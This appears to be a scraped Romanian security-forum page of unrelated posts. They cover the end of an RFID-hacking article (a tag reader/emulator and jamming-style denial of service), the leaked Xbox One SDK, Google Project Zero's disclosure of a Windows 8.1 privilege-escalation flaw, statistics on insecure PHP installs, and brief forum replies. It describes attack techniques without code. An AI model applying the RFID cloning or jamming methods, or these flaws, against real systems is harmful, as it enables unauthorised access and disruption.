The last part is column parity bits, which consists of 10 lines of data (2 lines of customer ID and 8 lines of data bits) and ends with a stop bit where its value always set to logic “0?. The total size of this part is 5 bits.
After successful decoding, we finally build a standalone device (which later is named “Berdikari – Standalone RFID Reader & Emulator”) that could automate the process of reading a tag and then working as an emulator. This device still under development:
Picture 11. Using “Berdikari” for reading and as emulator.
4.2 RFID Denial-of-Service
This kind of attack is actually just flooding the RFID reader with lots of traffic. This could be accomplished by using a device that works in the same frequency as the RFID reader and transmitting data over and over again (flooding), thus preventing other tags from accessing the RFID reader. This is an illustration of such an attack:
Picture 12. RFID Denial-of-Service.
5. Conclusion
From the above examples, we could conclude that RFID technology still has some security holes, including data manipulation, that could be exploited by attackers.
- Header
-
Just a week ago on Christmas, the massive Distributed Denial of Service (DDoS) attack from the notorious hacking group Lizard Squad knocked Sony’s PlayStation Network and Microsoft’s Xbox Live offline, but as if it wasn't the end of disaster for Microsoft.
This time it isn't a case of services being taken down — instead, the software development kit (SDK) for the Xbox Live is being freely circulated over the Internet. Another group calling itself H4LT has apparently managed to leak the Microsoft’s official Xbox One developer SDK, potentially opening the door for homemade applications and allowing unapproved developers to create unofficial software for the system.
The group announced the Xbox One leak via its official Twitter account, and also provided some screenshots of the November’s release of the Durango XDK (Xbox Development Kit) files, including the accompanying development tools, device firmware and its documentation.
H4LT group states noble reasons for posting the SDK — in order to allow greater "creativity and research... towards homebrew applications" on the console.
The group offered the following explanation when interviewed by TechGame via a direct message, that exactly why they decided to leak the XDK:
"We leaked it to the community because if something is shared then.. progress is achieved faster than alone. Something kept between us will not achieve anything. Share it with the community = creativity and research. Shared is how it should be. The SDK will basically allow the community to reverse and open doors towards homebrew applications being present on the Xbox One."H4LT group kept itself distance from the perpetrators of the recent Xbox Live and PSN outage, which indicates that it has no connection with Lizard Squad. A tweet directed toward Lizard Squad asked "You had fun by taking down servers. Can we have fun for leak-*cough* giving out this?"
According to the group, there is no definite exploit at the moment that would allow developers to run homebrew applications on the console, but the group does hope that someone familiar with the inner workings of Windows 8 will be able to dig through the files and find something.
"Once the SDK is out, people who have knowledge or has in the past reversed files related to the Windows (8) operating system should definitely have a go at reversing some files in there," the group added. "Why? Well, the Xbox One is practically a stripped Windows 8 device and has introduced a new package format that hasn't had much attention. This format is responsible for updating the console and storing applications (Games are under the category of 'Applications' on the Xbox One) and is a modification of Virtual Hard Disks."At the time, there is not much information about the leaked , but as time passes and further study is conducted on the leaked SDK, more hidden information will be unveiled.
-
A mai fost postat bre
Baga si tu Search inainte.
Oricum sunt curios sa vad ce or sa scoata...
-
Salut totusi de ce toti va puneti in prezentare,
,,am venit sa invat hacking" , cine v-a zis voua ca aici e forum de ,,hacking" ?
Pentru toti ca tine e forum de Securitate IT...
-
@rukov nu pleca frate... cred ca stiu care e motivul si iti zic ca nu se merita.
-
@odo din cate stiu nu poti sa le decryptezi...
-
de ce ai face asa ceva? 1. recunosti si iti ceri scuze.
2. depinde daca are dovezi ca tu ai facut acea pagina...
-
Update: Google’s Project Zero has disclosed the details of an unpatched Windows vulnerability reported to Microsoft in September.
The disclosure was made on Monday upon the expiration of 90-day waiting period imposed by Google researchers. Microsoft has yet to patch the Windows 8.1 vulnerability that would allow a hacker to elevate their privileges on an affected computer to gain administrator access. Microsoft’s next set of Patch Tuesday security bulletins are scheduled to be released Jan. 13.
“We are working to release a security update to address an elevation of privilege issue,” a Microsoft spokesman told Threatpost. “It is important to note that for a would-be attacker to potentially exploit a system, they would first need to have valid logon credentials and be able to log on locally to a targeted machine.”
Google researcher James Forshaw said the NtApphelpCacheControl system call, which allows for quick caching of application data, contains a vulnerability in which a user’s impersonation token is not checked properly to determine if the user is an administrator.
“It reads the caller’s impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem’s SID. It doesn’t check the impersonation level of the token so it’s possible to get an identify token on your thread from a local system process and bypass this check,” Forshaw wrote in an advisory on the Google vulnerability database. “For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.”
Forshaw said he wasn’t sure whether Windows 7 was vulnerable to the same bug because of an existing privilege check, but cautioned that it could be bypassed. His proof-of-concept exploit code was tested only on Windows 8.1 update, 32- and 64-bit versions.
Microsoft has yet to patch the Windows 8.1 vulnerability that would allow a hacker to elevate their privileges.A request for additional comment from Forshaw was not returned in time for publication. This is not the first such disclosure made by Project Zero. In late November, Forshaw disclosed an Adobe Acrobat and Reader 11 sandbox escape on Windows systems. The bug was reported to Adobe on Aug 27 and publicly disclosed by Google on Nov. 26 after the passing of its 90-day deadline. Adobe patched the vulnerability nine days after its public disclosure.
The research team’s disclosure policy has been public since Project Zero was announced in July.
“On balance, Project Zero believes that disclosure deadlines are currently the optimal approach for user security—it allows software vendors a fair and reasonable length of time to exercise their vulnerability management process, while also respecting the rights of users to learn and understand the risks they face,” said Google researcher Ben Hawkes. “By removing the ability of a vendor to withhold the details of security issues indefinitely, we give users the opportunity to react to vulnerabilities in a timely manner, and to exercise their power as a customer to request an expedited vendor response.”
-
More than 78 per cent of all PHP installations are running with at least one known security vulnerability, a researcher has found.
Google developer advocate Anthony Ferrara reached this unpleasant conclusion by correlating statistics from web survey site W3Techs with lists of known vulnerabilities in various versions of PHP.
What he found is that many, many PHP-powered websites are using insecure versions of the interpreter – so much so that it's actually easier to find an insecure PHP setup on the internet than a secure one.
"This is absolutely and unequivocally pathetic," Ferrara wrote.
The two most popular PHP releases, according to W3Techs' statistics, were versions 5.2.17 and 5.3.29. Together, they accounted for 24 per cent of the total – and both are insecure.
More to the point, Ferrara found that for each major version of PHP from 5.3 through 5.6, only a small number of minor versions are not known to contain any vulnerabilities, but most systems aren't running those secure versions.
In Ferrara's findings, 93.3 per cent of all PHP 5.6.x installs were insecure, 63.4 per cent of PHP 5.5.x installs were insecure, 89.6 per cent of PHP 5.4.x installs were insecure, and 66.1 per cent of PHP 5.3.x installs were insecure.
As for PHP 5.2, just write it off. No versions of that branch are considered secure.
Curiously, however, PHP 5.1 actually fared rather well. Fully 94.8 per cent of all PHP 5.1 installations were running a secure version, according to W3Techs' numbers. But never mind that – PHP 5.1 is nine years old, and only 1.2 per cent of the sites surveyed were still running it.
This isn't to say, of course, that none of the other software packages that power the internet contain vulnerabilities. Ferrara found that, similarly, 38 per cent of sites running the Apache web server were insecure, as were 36 per cent of sites running Nginx, 22 per cent of sites running Python, and 18 per cent of sites running Perl.
But PHP's astonishingly bad security record really took the cake in Ferrara's study. Add to that the applications that run on top of PHP – 55 per cent of Drupal installs had their own security bugs, as did 40 per cent of Wordpress installs – and you could almost say that any server running the language is just an exploit waiting to happen.
Unless, of course, you happen to be one of those happy few who are running an airtight version. The latest releases of PHP 5.4, 5.5, and 5.6 are all thought to be secure.
"Check your installed versions," Ferrara urged. "Push for people to update. Don't accept 'if it works, don't fix it.' ... You have the power to change this, so change it. Security is everyone's problem. What matters is how you deal with it."
GetSimple CMS 3.3.4 XML External Entity Injection
in Exploituri
Posted
Source